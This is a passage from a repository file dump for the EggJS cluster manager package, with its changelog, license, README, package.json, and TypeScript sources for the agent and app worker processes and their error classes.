[2.0.1](https://github.com/eggjs/egg-cluster/compare/v2.0.0...v2.0.1) (2022-12-19)\n\n\n### Bug Fixes\n\n* worker_threads mode without ports ([#103](https://github.com/eggjs/egg-cluster/issues/103)) ([a088e99](https://github.com/eggjs/egg-cluster/commit/a088e9953ed269af584a5fec6304847690cbf347))\n\n---\n\n\n2.0.0 / 2022-11-02\n==================\n\n**features**\n  * [[`04a1e85`](http://github.com/eggjs/egg-cluster/commit/04a1e8539c61e2fecc16591e290aea84dcabd740)] - feat: support worker_threads (#101) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n1.27.1 / 2021-11-15\n==================\n\n**others**\n  * [[`98688f0`](http://github.com/eggjs/egg-cluster/commit/98688f04d9d6536a37dacf9f68ff44b1fbffbd35)] - chore: log more info before master closing (hyj1991 <<yeekwanvong@gmail.com>>)\n\n1.27.0 / 2021-04-05\n==================\n\n**features**\n  * [[`36f3a05`](https://github.com/eggjs/egg-cluster.git/commit/36f3a05e396ba1c82e4c1d961aca91d09800d294)] - feat: catch app/agent boot error to formater FrameworkError (#98) (mansonchor.github.com <<mansonchor1987@gmail.com>>)\n\n1.26.0 / 2019-11-18\n==================\n\n**features**\n  * [[`63c3cd0`](http://github.com/eggjs/egg-cluster/commit/63c3cd0dcbd5d3ca8d6b6c5bf08c85f4dd698d25)] - feat: print process.env.HOST while egg started (#96) (zōng yǔ <<gxcsoccer@users.noreply.github.com>>)\n\n1.25.0 / 2019-07-24\n==================\n\n**features**\n  * [[`7fca260`](http://github.com/eggjs/egg-cluster/commit/7fca2606ae4be84c69af47d64227ca474e67ea70)] - feat: suppport config.cluster.https (#90) (TZ | 天猪 <<atian25@qq.com>>)\n\n**fixes**\n  * [[`5547a87`](http://github.com/eggjs/egg-cluster/commit/5547a877078b13dadde8b7fef94347dc18272eff)] - fix: add ca opiton if https (#93) (dxd <<dxd_sjtu@outlook.com>>)\n\n1.24.0 / 2019-06-14\n==================\n\n**features**\n  * [[`4b47bec`](http://github.com/eggjs/egg-cluster/commit/4b47becda40f72d260f7f101791371c803968533)] - feat: add windowsHide support (#92) (QingDeng <<zrl412@163.com>>)\n\n1.23.3 / 2019-05-27\n==================\n\n**fixes**\n  * [[`0f7558b`](http://github.com/eggjs/egg-cluster/commit/0f7558b24b5d6e37259a02c62cf4b92d678f3ee0)] - fix: should not ready when call server.listen in sticky mode (#91) (killa <<killa123@126.com>>)\n\n1.23.2 / 2019-04-08\n==================\n\n**fixes**\n  * [[`de95e90`](http://github.com/eggjs/egg-cluster/commit/de95e907637aa6aa3b143e37fcccf457d9f53df8)] - fix: should destroy socket when receives an RST after the three-way handshake. (#89) (ngot <<zhuanghengfei@gmail.com>>)\n\n1.23.1 / 2019-03-12\n==================\n\n**others**\n  * [[`45d956f`](http://github.com/eggjs/egg-cluster/commit/45d956f9f29610da9316e5c5e8335c608e985739)] - chore: update all dependencies (#88) (Yiyu He <<dead_horse@qq.com>>)\n\n1.23.0 / 2019-03-04\n==================\n\n**features**\n  * [[`8740538`](http://github.com/eggjs/egg-cluster/commit/874053871bd8f28d27c8f82aae1bc3a1b8f4e98d)] - feat: save pid file (#87) (TZ | 天猪 <<atian25@qq.com>>)\n\n1.22.2 / 2018-12-04\n==================\n\n**fixes**\n  * [[`99d0c6b`](http://github.com/eggjs/egg-cluster/commit/99d0c6b6927add7536f505ba7e128a3c5c33475d)] - fix: master should not send to parent when egg-script is closed (#84) (killa <<killa123@126.com>>)\n\n**others**\n  * [[`5920799`](http://github.com/eggjs/egg-cluster/commit/5920799dd7db9ea107723dd4794c2223463c2d8c)] - docs: remove `options.typescript` (#82) (吖猩 <<whxaxes@qq.com>>)\n\n1.22.1 / 2018-10-19\n===================\n\n  * fix: should not start app when agent start fail (#81)\n\n1.22.0 / 2018-10-10\n==================\n\n**features**\n  * [[`2b662a5`](http://github.com/eggjs/egg-cluster/commit/2b662a5d5a86cebf1096648afe473a96ce09b498)] - feat: kill all sub processes when exit (#79) (Yiyu He <<dead_horse@qq.com>>)\n\n1.21.0 / 2018-09-28\n===================\n\n  * feat: graceful exit when boot failed (#78)\n\n1.20.0 / 2018-09-17\n===================\n\n  * feat: kill agent after workers are killed (#76)\n  * docs: fix typo (#77)\n\n1.19.1 / 2018-08-27\n==================\n\n**fixes**\n  * [[`b0c8d19`](http://github.com/eggjs/egg-cluster/commit/b0c8d19e08495c596045eada460590562a4150be)] - fix: fix messenger#sendTo (#74) (killa <<killa123@126.com>>)\n\n1.19.0 / 2018-07-26\n===================\n\n  * feat: support options.require (#73)\n  * feat: replace worker file from outside (#72)\n\n1.18.0 / 2018-06-12\n===================\n\n  * feat: support config agent debug port (#70)\n\n1.17.0 / 2018-06-06\n==================\n\n**features**\n  * [[`134bd4c`](http://github.com/eggjs/egg-cluster/commit/134bd4c15361018747f6bc6c13748a8e60fc8b62)] - feat: not start check in local (#71) (Axes <<whxaxes@qq.com>>)\n\n1.16.1 / 2018-05-16\n===================\n\n  * fix: use --inspect-port after 8.x (#69)\n  * fix: remove useless unittest (#65)\n  * fix: master close log print timeout error (#64)\n\n1.16.0 / 2018-03-28\n===================\n\n  * fix: wait 5s when master exit (#60)\n  * feat: add typescript support (#61)\n\n1.15.0 / 2018-03-05\n==================\n\n**features**\n  * [[`7f0be22`](http://github.com/eggjs/egg-cluster/commit/7f0be221808a29fd049fac4c0c53da8d48ce6e6e)] - feat: support beforeClose on other env (#59) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**others**\n  * [[`e0deece`](http://github.com/eggjs/egg-cluster/commit/e0deece60a04bdeeb9841fbb751d49d94a5b0828)] - test: fix unstable test (#58) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n1.14.0 / 2018-02-05\n==================\n\n**features**\n  * [[`102a0ad`](http://github.com/eggjs/egg-cluster/commit/102a0adc8577ada8ff8383ba935f7973f215999f)] - feat: https options (#57) (TZ | 天猪 <<atian25@qq.com>>)\n\n1.13.1 / 2018-01-05\n==================\n\n**others**\n  * [[`53ed359`](http://github.com/eggjs/egg-cluster/commit/53ed359e32b395105d859de7ea4bc564fe3e9af1)] - chore: log runtime versions (#56) (TZ | 天猪 <<atian25@qq.com>>)\n\n1.13.0 / 2017-12-05\n==================\n\n**features**\n  * [[`366d9bb`](http://github.com/eggjs/egg-cluster/commit/366d9bbb40db2b920258210f51b0a15fe224974c)] - feat: add worker manager and check worker/agent status (#54) (Yiyu He <<dead_horse@qq.com>>)\n\n1.12.6 / 2017-11-21\n==================\n\n**fixes**\n  * [[`ccdbf9f`](http://github.com/eggjs/egg-cluster/commit/ccdbf9f34a9eb38333a7a12ab0ec22e3b1bea344)] - fix: should send current worker pids when agent restart (#53) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n1.12.5 / 2017-11-16\n==================\n\n**fixes**\n  * [[`c683b67`](http://github.com/eggjs/egg-cluster/commit/c683b678c2474fca1e9dad8101525c9661177486)] - fix: crash when socket destroyed during connecting (#50) (Hengfei Zhuang <<zhuanghengfei@gmail.com>>)\n\n**others**\n  * [[`242835e`](http://github.com/eggjs/egg-cluster/commit/242835e4948b2b2f76352683aeee4bb2bd84186c)] - test: `don't fork` has been printed to stdout (#52) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n1.12.4 / 2017-10-29\n==================\n\n**others**\n  * [[`b768018`](http://github.com/eggjs/egg-cluster/commit/b768018b77e1c6f80e8cfd9e9c38e63ec44a473d)] - refactor: use utility to read json (#49) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n1.12.3 / 2017-10-12\n==================\n\n**fixes**\n  * [[`4b80f33`](http://github.com/eggjs/egg-cluster/commit/4b80f33d272b374e005f3dd2f9dc39865f0d3688)] - fix: master should exit when EADDRINUSE error (#48) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n1.12.2 / 2017-09-28\n===================\n\n**fixes**\n  * [[`0c886a4`](https://github.com/eggjs/egg-cluster/commit/0c886a43ecac25e79de910cb04778efc77aab9a4)] - fix: should disable worker refork (#46) (fengmk2 <<fengmk2@gmail.com>>)\n\n1.12.1 / 2017-09-22\n==================\n\n**fixes**\n  * [[`30d120d`](http://github.com/eggjs/egg-cluster/commit/30d120dd292d79a25113c951664d18480dde2a00)] - fix: should send egg-ready when app/agent restarted after launched (#45) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n1.12.0 / 2017-09-14\n==================\n\n**features**\n  * [[`56bff0d`](http://github.com/eggjs/egg-cluster/commit/56bff0dda04074cbd7259b2652954832647a9a61)] - feat: agent debugPort 5856 -> 5800 (TZ <<atian25@qq.com>>)\n\n1.11.2 / 2017-09-13\n==================\n\n**features**\n  * [[`61b5b66`](http://github.com/eggjs/egg-cluster/commit/61b5b660146b5ef3795f7f2fe4d61195ca6d93c1)] - feat: simplify debug error when kill by vscode (TZ <<atian25@qq.com>>)\n  * [[`308d9fd`](http://github.com/eggjs/egg-cluster/commit/308d9fde230122dd1d85d9563dd64c5103f8a7df)] - feat: debug & egg-ready message (TZ <<atian25@qq.com>>)\n  * [[`a4fa5f5`](http://github.com/eggjs/egg-cluster/commit/a4fa5f5171226354d02760edbfc20db8eca3f9e1)] - feat: delete default port options that has defined in egg (#40) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`09ccc5a`](http://github.com/eggjs/egg-cluster/commit/09ccc5ab62bbac2a214d80589dcc1695adfb6b90)] - feat: revert to 1.9.2 (TZ <<atian25@qq.com>>)\n\n**others**\n  * [[`ab76a19`](http://github.com/eggjs/egg-cluster/commit/ab76a19a8275906df757d2a9e585ccd89c62f6a5)] - test: improve cov (TZ <<atian25@qq.com>>)\n\n1.11.1 / 2017-09-11\n==================\n\n**fixes**\n  * [[`8d46f20`](http://github.com/eggjs/egg-cluster/commit/8d46f20c04967647a1991736d2db2db0202790a2)] - fix: only set options.debugProtocol at debug mode (#42) (TZ | 天猪 <<atian25@qq.com>>)\n\n1.11.0 / 2017-09-08\n==================\n\n**features**\n  * [[`49bd949`](http://github.com/eggjs/egg-cluster/commit/49bd949a5271f0db86de6c4111fefbd6613017e1)] - feat: delete default port options that has defined in egg (#40) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**others**\n  * [[`0561ce7`](http://github.com/eggjs/egg-cluster/commit/0561ce7bd69151dd66b1e24352f4f0b632591a39)] - refactor: support debug options (#41) (TZ | 天猪 <<atian25@qq.com>>)\n * [new tag]         1.10.0     -> 1.10.0\n\n\n1.10.0 / 2017-09-07\n==================\n\n**others**\n  * [[`0561ce7`](http://github.com/eggjs/egg-cluster/commit/0561ce7bd69151dd66b1e24352f4f0b632591a39)] - refactor: support debug options (#41) (TZ | 天猪 <<atian25@qq.com>>)\n\n1.9.2 / 2017-08-30\n==================\n\n**fixes**\n  * [[`7277b00`](http://github.com/eggjs/egg-cluster/commit/7277b00516905f0e26c78c063b7f84044c069b6d)] - fix: debug status detect should support inspect (#39) (TZ | 天猪 <<atian25@qq.com>>)\n\n1.9.1 / 2017-08-28\n==================\n\n  * fix: sleep 100ms to make sure SIGTERM send to the child processes (#37)\n  * test: fix test that should mock the default port (#38)\n\n1.9.0 / 2017-07-27\n==================\n\n  * feat: add listen config (#34)\n  * refactor: disable console (#36)\n  * deps: upgrade eslint (#35)\n  * refactor: set agent worker and app worker console level (#33)\n  * deps: upgrade dependencies (#32)\n\n1.8.0 / 2017-06-12\n==================\n\n  * feat: use graceful-process to refactor app and agent worker (#30)\n  * test: sleep 20s to wait for agent process start (#29)\n\n1.7.0 / 2017-06-09\n==================\n\n  * feat: reduce info logs on local env (#28)\n\n1.6.4 / 2017-05-28\n==================\n\n  * fix: agent should exit on disconnect event whatever master kill with SIGKILL (#27)\n\n1.6.3 / 2017-05-22\n==================\n\n  * fix: fix typo (#24)\n  * fix: start error should log what happend (#26)\n  * fix: fix deperated api (#25)\n  * deps: upgrade dependencies (#22)\n\n1.6.2 / 2017-03-22\n==================\n\n  * fix: should print logger when agent start error (#20)\n\n1.6.1 / 2017-03-03\n==================\n\n  * fix: sticky logic error (#19)\n  * feat: use egg-utils (#18)\n\n1.6.0 / 2017-03-01\n==================\n\n  * feat: add options framework (#17)\n\n1.5.0 / 2017-02-21\n==================\n\n  * feat: exit when error emitted during start (#16)\n\n1.4.0 / 2017-02-13\n==================\n\n  * feat:add sticky cluster mode (#14)\n  * test: add test for agent debug port (#13)\n\n1.3.0 / 2017-01-20\n==================\n\n  * feat: get clusterPort (#12)\n\n1.2.0 / 2016-12-26\n==================\n\n  * feat: npm publish files limit (#10)\n\n1.1.0 / 2016-12-20\n==================\n\n  * deps: upgrade dependencies\n  * refactor: options should be passed through\n  * feat: print env when start (#8)\n\n1.0.0 / 2016-10-12\n==================\n\n  * feat: exit if worker start timeout (#6)\n\n0.2.0 / 2016-10-12\n==================\n\n  * feat: when debug mode, master should exit when worker die (#7)\n  * test: fix testcase (#5)\n\n0.1.0 / 2016-08-16\n==================\n\n  * feat: [BREAKING_CHANGE] master won't load config  (#4)\n  * test: add test cases (#3)\n\n0.0.4 / 2016-07-16\n==================\n\n  * fix: remove antx loader (#2)\n\n0.0.3 / 2016-07-16\n==================\n\n  * fix: loader version (#1)\n  * fix: logger\n\n0.0.2 / 2016-07-15\n==================\n\n  * init code\n"
  },
  {
    "path": "packages/cluster/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017 Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "packages/cluster/README.md",
    "content": "# @eggjs/cluster\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/cluster.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/cluster.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/cluster\n[snyk-image]: https://snyk.io/test/npm/@eggjs/cluster/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/cluster\n[download-image]: https://img.shields.io/npm/dm/@eggjs/cluster.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/cluster\n\nCluster Manager for EggJS\n\n## Install\n\n```bash\nnpm i @eggjs/cluster\n```\n\n## Usage\n\nCommonJS\n\n```js\nconst { startCluster } = require('@eggjs/cluster');\n\nstartCluster({\n  baseDir: '/path/to/app',\n  framework: '/path/to/framework',\n});\n```\n\nYou can specify a callback that will be invoked when application has started.\nHowever, master process will exit when catch an error.\n\n```js\nstartCluster(options).then(() => {\n  console.log('started');\n});\n```\n\nESM and TypeScript\n\n```ts\nimport { startCluster } from '@eggjs/cluster';\n\nstartCluster({\n  baseDir: '/path/to/app',\n  framework: '/path/to/framework',\n});\n```\n\n## Options\n\n| Param     | Type            | Description                                                                                                       |\n| --------- | --------------- | ----------------------------------------------------------------------------------------------------------------- |\n| baseDir   | `String`        | directory of application                                                                                          |\n| framework | `String`        | specify framework that can be absolute path or npm package                                                        |\n| plugins   | `Object`        | plugins for unittest                                                                                              |\n| workers   | `Number`        | numbers of app workers                                                                                            |\n| sticky    | `Boolean`       | sticky mode server                                                                                                |\n| port      | `Number`        | port                                                                                                              |\n| debugPort | `Number`        | the debug port only listen on http protocol                                                                       |\n| https     | `Object`        | start a https server, note: `key` / `cert` / `ca` should be full path to file                                     |\n| require   | `Array\\|String` | will inject into worker/agent process                                                                             |\n| pidFile   | `String`        | will save master pid to this file                                                                                 |\n| startMode | `String`        | default is 'process', use 'worker_threads' to start the app & agent worker by worker_threads                      |\n| ports     | `Array`         | startup port of each app worker, such as: [7001, 7002, 7003], only effects when the startMode is 'worker_threads' |\n| env       | `String`        | custom env, default is process.env.EGG_SERVER_ENV                                                                 |\n\n## Env\n\n`EGG_APP_CLOSE_TIMEOUT`: app worker boot timeout value\n\n`EGG_AGENT_CLOSE_TIMEOUT`: agent worker boot timeout value\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "packages/cluster/package.json",
    "content": "{\n  \"name\": \"@eggjs/cluster\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"cluster manager for egg\",\n  \"keywords\": [\n    \"cluster\",\n    \"egg\",\n    \"process\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/cluster\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"dead-horse <dead_horse@qq.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/cluster\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent_worker\": \"./src/agent_worker.ts\",\n    \"./app_worker\": \"./src/app_worker.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent_worker\": \"./dist/agent_worker.js\",\n      \"./app_worker\": \"./dist/app_worker.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"lint\": \"oxlint\",\n    \"typecheck\": \"tsgo --noEmit\",\n    \"test\": \"vitest run\"\n  },\n  \"dependencies\": {\n    \"@eggjs/utils\": \"workspace:*\",\n    \"@fengmk2/ps-tree\": \"catalog:\",\n    \"cfork\": \"catalog:\",\n    \"cluster-reload\": \"catalog:\",\n    \"detect-port\": \"catalog:\",\n    \"egg-logger\": \"catalog:\",\n    \"get-ready\": \"catalog:\",\n    \"graceful-process\": \"catalog:\",\n    \"sendmessage\": \"catalog:\",\n    \"terminal-link\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/errors\": \"workspace:*\",\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/supertest\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"address\": \"catalog:\",\n    \"coffee\": \"catalog:\",\n    \"tsdown\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"urllib\": \"catalog:\",\n    \"vitest\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/cluster/src/agent_worker.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { importModule } from '@eggjs/utils';\nimport { EggConsoleLogger as ConsoleLogger } from 'egg-logger';\n\nimport { BaseAgentWorker } from './utils/mode/base/agent.ts';\nimport { AgentProcessWorker } from './utils/mode/impl/process/agent.ts';\nimport { AgentThreadWorker } from './utils/mode/impl/worker_threads/agent.ts';\n\nconst debug = debuglog('egg/cluster/agent_worker');\n\n/**\n * agent worker is child_process forked by master.\n *\n * agent worker only exit in two cases:\n *  - receive signal SIGTERM, exit code 0 (exit gracefully)\n *  - receive disconnect event, exit code 110 (maybe master exit in accident)\n */\nasync function main() {\n  // $ node agent_worker.js options\n  const options = JSON.parse(process.argv[2]) as {\n    framework: string;\n    baseDir: string;\n    require?: string[];\n    startMode?: 'process' | 'worker_threads';\n  };\n  if (options.require) {\n    // inject\n    for (const mod of options.require) {\n      await importModule(mod, {\n        paths: [options.baseDir],\n      });\n    }\n  }\n\n  let AgentWorker: typeof BaseAgentWorker;\n  if (options.startMode === 'worker_threads') {\n    AgentWorker = AgentThreadWorker as any;\n  } else {\n    AgentWorker = AgentProcessWorker as any;\n  }\n\n  const consoleLogger = new ConsoleLogger({\n    level: process.env.EGG_AGENT_WORKER_LOGGER_LEVEL,\n  });\n  const { Agent } = await importModule(options.framework, {\n    paths: [options.baseDir],\n  });\n  debug('new Agent with options %j', options);\n  let agent: any;\n  try {\n    agent = new Agent(options);\n  } catch (err) {\n    consoleLogger.error(err);\n    throw err;\n  }\n\n  function startErrorHandler(err: Error) {\n    consoleLogger.error(err);\n    consoleLogger.error('[agent_worker] start error, exiting with code:1');\n    AgentWorker.kill();\n  }\n\n  agent.ready((err?: Error) => {\n    // don't send started message to master when start error\n    if (err) {\n      return;\n    }\n\n    agent.removeListener('error', startErrorHandler);\n    AgentWorker.send({ action: 'agent-start', to: 'master' });\n  });\n\n  // exit if agent start error\n  agent.once('error', startErrorHandler);\n\n  AgentWorker.gracefulExit({\n    logger: consoleLogger,\n    label: 'agent_worker',\n    beforeExit: () => agent.close(),\n  });\n}\n\nmain();\n"
  },
  {
    "path": "packages/cluster/src/app_worker.ts",
    "content": "import fs from 'node:fs';\nimport { createServer as createHttpServer, type Server } from 'node:http';\nimport { createServer as createHttpsServer } from 'node:https';\nimport type { Socket, ListenOptions } from 'node:net';\nimport os from 'node:os';\nimport { debuglog } from 'node:util';\n\nimport { importModule } from '@eggjs/utils';\nimport { EggConsoleLogger as ConsoleLogger } from 'egg-logger';\n\nimport { BaseAppWorker } from './utils/mode/base/app.ts';\nimport { AppProcessWorker } from './utils/mode/impl/process/app.ts';\nimport { AppThreadWorker } from './utils/mode/impl/worker_threads/app.ts';\n\nconst debug = debuglog('egg/cluster/app_worker');\n\n// https://nodejs.org/api/net.html#serverlistenoptions-callback\n// https://github.com/nodejs/node/blob/main/node.gypi#L310\n// https://docs.python.org/3/library/sys.html#sys.platform\n// This option is available only on some platforms, such as Linux 3.9+, DragonFlyBSD 3.6+, FreeBSD 12.0+, Solaris 11.4, and AIX 7.2.5+.\nconst REUSE_PORT_SUPPORTED_PLATFORMS = ['linux', 'freebsd', 'sunos', 'aix'];\n\nasync function main() {\n  // $ node app_worker.js options-json-string\n  const options = JSON.parse(process.argv[2]) as {\n    framework: string;\n    baseDir: string;\n    require?: string[];\n    startMode?: 'process' | 'worker_threads';\n    port: number;\n    debugPort?: number;\n    https?: object;\n    sticky?: boolean;\n    stickyWorkerPort?: number;\n    reusePort?: boolean;\n  };\n  if (options.require) {\n    // inject\n    for (const mod of options.require) {\n      await importModule(mod, {\n        paths: [options.baseDir],\n      });\n    }\n  }\n\n  let AppWorker: typeof BaseAppWorker;\n  if (options.startMode === 'worker_threads') {\n    AppWorker = AppThreadWorker as any;\n  } else {\n    AppWorker = AppProcessWorker as any;\n  }\n\n  const consoleLogger = new ConsoleLogger({\n    level: process.env.EGG_APP_WORKER_LOGGER_LEVEL,\n  });\n  const { Application } = await importModule(options.framework, {\n    paths: [options.baseDir],\n  });\n  debug('[app_worker:%s] new Application with options %j', process.pid, options);\n  let app: any;\n  try {\n    app = new Application(options);\n  } catch (err) {\n    consoleLogger.error(err);\n    throw err;\n  }\n\n  app.ready(startServer);\n\n  function exitProcess() {\n    // Use SIGTERM kill process, ensure trigger the gracefulExit\n    AppWorker.kill();\n  }\n\n  // exit if worker start timeout\n  app.once('startTimeout', startTimeoutHandler);\n\n  function startTimeoutHandler() {\n    consoleLogger.error('[app_worker] start timeout, exiting with code:1');\n    exitProcess();\n  }\n\n  function startServer(err?: Error) {\n    if (err) {\n      consoleLogger.error(err);\n      consoleLogger.error('[app_worker] start error, exiting with code:1');\n      exitProcess();\n      return;\n    }\n\n    const clusterConfig = app.config.cluster ?? {};\n    const listenConfig = clusterConfig.listen ?? {};\n    const httpsOptions = {\n      ...clusterConfig.https,\n      ...options.https,\n    };\n    const port = (app.options.port = options.port || listenConfig.port);\n    const debugPort = options.debugPort;\n    const protocol = httpsOptions.key && httpsOptions.cert ? 'https' : 'http';\n\n    // Check reusePort option and validate platform support\n    let reusePort = options.reusePort ?? listenConfig.reusePort ?? false;\n    if (reusePort && !REUSE_PORT_SUPPORTED_PLATFORMS.includes(os.platform())) {\n      reusePort = false;\n      debug(\n        '[app_worker:%s] platform %s is not supported for reusePort, set reusePort to false',\n        process.pid,\n        os.platform(),\n      );\n    }\n\n    debug(\n      '[app_worker:%s] listenConfig: %j, real port: %o, protocol: %o, debugPort: %o, reusePort: %o',\n      process.pid,\n      listenConfig,\n      port,\n      protocol,\n      debugPort,\n      reusePort,\n    );\n\n    AppWorker.send({\n      to: 'master',\n      action: 'realport',\n      data: {\n        port,\n        protocol,\n      },\n    });\n\n    app.removeListener('startTimeout', startTimeoutHandler);\n\n    let server: Server;\n    let debugPortServer: Server | undefined;\n\n    // https config\n    if (protocol === 'https') {\n      httpsOptions.key = fs.readFileSync(httpsOptions.key);\n      httpsOptions.cert = fs.readFileSync(httpsOptions.cert);\n      httpsOptions.ca = httpsOptions.ca && fs.readFileSync(httpsOptions.ca);\n      server = createHttpsServer(httpsOptions, app.callback());\n      if (debugPort) {\n        debugPortServer = createHttpServer(app.callback());\n      }\n    } else {\n      server = createHttpServer(app.callback());\n      if (debugPort) {\n        debugPortServer = server;\n      }\n    }\n\n    server.once('error', (err: any) => {\n      consoleLogger.error('[app_worker] server got error: %s, code: %s', err.message, err.code);\n      exitProcess();\n    });\n\n    // emit `server` event in app\n    app.emit('server', server);\n\n    if (options.sticky && options.stickyWorkerPort) {\n      // only allow connection from localhost\n      server.listen(options.stickyWorkerPort, '127.0.0.1');\n      // Listen to messages was sent from the master. Ignore everything else.\n      AppWorker.on('message', (message: string, connection: Socket) => {\n        if (message !== 'sticky-session:connection') {\n          return;\n        }\n        // Emulate a connection event on the server by emitting the\n        // event with the connection the master sent us.\n        server.emit('connection', connection);\n        connection.resume();\n      });\n    } else {\n      if (listenConfig.path) {\n        server.listen(listenConfig.path);\n      } else {\n        if (typeof port !== 'number') {\n          consoleLogger.error('[app_worker:%s] port should be number, but got %s(%s)', process.pid, port, typeof port);\n          exitProcess();\n          return;\n        }\n        if (reusePort) {\n          // https://nodejs.org/api/net.html#serverlistenoptions-callback\n          // Use options object when reusePort is enabled\n          const listenOptions: ListenOptions = { port, reusePort };\n          if (listenConfig.hostname) {\n            listenOptions.host = listenConfig.hostname;\n          }\n          debug('[app_worker:%s] listen with reusePort options %j', process.pid, listenOptions);\n          server.listen(listenOptions);\n        } else {\n          const args = [port];\n          if (listenConfig.hostname) {\n            args.push(listenConfig.hostname);\n          }\n          debug('listen options %j', args);\n          server.listen(...args);\n        }\n      }\n      if (debugPortServer) {\n        debug('listen on debug port: %s', debugPort);\n        debugPortServer.listen(debugPort);\n      }\n    }\n\n    server.once('listening', () => {\n      let address: any = server.address() || { port };\n      if (typeof address === 'string') {\n        // https://nodejs.org/api/cluster.html#cluster_event_listening_1\n        // Unix domain socket\n        address = {\n          address,\n          addressType: -1,\n        };\n      }\n      debug('[app_worker:%s] listening at %j, reusePort: %o', process.pid, address, reusePort);\n      AppWorker.send({\n        to: 'master',\n        action: 'app-start',\n        data: {\n          address,\n          workerId: AppWorker.workerId,\n        },\n        reusePort,\n      });\n    });\n  }\n\n  AppWorker.gracefulExit({\n    logger: consoleLogger,\n    label: 'app_worker',\n    beforeExit: () => app.close(),\n  });\n}\n\nmain();\n"
  },
  {
    "path": "packages/cluster/src/error/ClusterAgentWorkerError.ts",
    "content": "export class ClusterAgentWorkerError extends Error {\n  id: number;\n  /**\n   * pid in process mode\n   * tid in worker_threads mode\n   */\n  workerId: number;\n  status: string;\n\n  constructor(id: number, workerId: number, status: string, error: Error) {\n    const message = `Got agent worker error: ${error.message}`;\n    super(message, { cause: error });\n    this.name = this.constructor.name;\n    this.id = id;\n    this.workerId = workerId;\n    this.status = status;\n    Error.captureStackTrace(this, this.constructor);\n  }\n}\n"
  },
  {
    "path": "packages/cluster/src/error/ClusterWorkerExceptionError.ts",
    "content": "export class ClusterWorkerExceptionError extends Error {\n  count: {\n    agent: number;\n    worker: number;\n  };\n\n  constructor(agent: number, worker: number) {\n    const message = `[master] ${agent} agent and ${worker} worker(s) alive, exit to avoid unknown state`;\n    super(message);\n    this.name = this.constructor.name;\n    this.count = {\n      agent,\n      worker,\n    };\n    Error.captureStackTrace(this, this.constructor);\n  }\n}\n"
  },
  {
    "path": "packages/cluster/src/error/index.ts",
    "content": "export * from './ClusterAgentWorkerError.ts';\nexport * from './ClusterWorkerExceptionError.ts';\n"
  },
  {
    "path": "packages/cluster/src/index.ts",
